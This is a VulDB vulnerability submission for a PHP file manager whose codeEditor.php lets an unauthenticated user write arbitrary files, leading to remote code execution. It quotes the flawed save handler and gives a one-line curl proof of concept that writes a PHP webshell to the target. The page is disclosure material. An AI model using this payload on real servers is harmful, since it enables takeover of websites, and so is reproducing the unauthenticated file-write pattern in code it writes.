| Titolo | JosephChuks php-file-manager-with-code-editor(CWP Code Editor v2.0.1) latest (main branch, codeEditor.php) Arbitrary File Write (CWE-22) / Code Injection (CWE-94) |
|---|
| Descrizione | codeEditor.php (v2.0.1) allows unauthenticated arbitrary file write via the save handler, leading to remote code
execution.
Lines 9-15:
if (!isset($_GET["filename"]) || !is_file($_GET["filename"])) {
die("Invalid file specified.");
}
$filename = $_GET["filename"];
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$content = $_POST["content"];
file_put_contents($filename, $content);
}
No authentication is performed. The $_GET['filename'] parameter is passed directly to file_put_contents() without path
sanitization or extension validation. An attacker can POST to codeEditor.php?filename=shell.php with PHP code as
content, creating a webshell in the web root.
PoC: curl -X POST -d "content=<?php system(\$_GET[c]);?>" "http://target/codeEditor.php?filename=shell.php"
CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
|---|
| Fonte | ⚠️ https://github.com/JosephChuks/php-file-manager-with-code-editor/blob/main/codeEditor.php#L9 |
|---|
| Utente | milocat (UID 99840) |
|---|
| Sottomissione | 20/07/2026 05:08 (2 mesi fa) |
|---|
| Moderazione | 22/09/2026 08:29 (2 months later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 408348 [JosephChuks php-file-manager-with-code-editor fino a 3.0 Save codeEditor.php file_put_contents filename/content escalationi di privilegi] |
|---|
| Punti | 20 |
|---|